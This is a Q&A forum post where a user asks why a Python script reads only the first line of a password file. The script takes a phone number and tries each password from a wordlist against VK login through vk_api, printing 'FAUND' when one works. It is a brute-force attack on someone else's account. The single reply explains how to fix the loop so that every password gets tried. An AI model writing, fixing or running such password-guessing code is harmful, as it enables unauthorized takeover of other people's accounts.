M
M
MrMim2020-07-01 11:38:44
Python
MrMim, 2020-07-01 11:38:44

Python program reads only the first line, what should I do?

there is a code

import vk_api

if __name__ == '__main__':
    phone = input('phone: ')
    f = open('pass.txt')
    line2 = f.readlines()
    z = 0
    i = 0
    while z <= 1000:
        for line in line2:
            try:
                vk_session = vk_api.VkApi(phone, str(line2[i]))
                vk_session.auth()
                print("FAUND: " + str(line))
                i += 1
                break
            except:
                print(str(line[i]) + ' BAD')
                i += 1

and text file
polina2008
andrey2005
jopa777
....

but the program only reads the first line

Answer the question

In order to leave comments, you need to log in

1 answer(s)
S
Sergey Gornostaev, 2020-07-01
@MrMim

Do not interrupt the line reading cycle.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question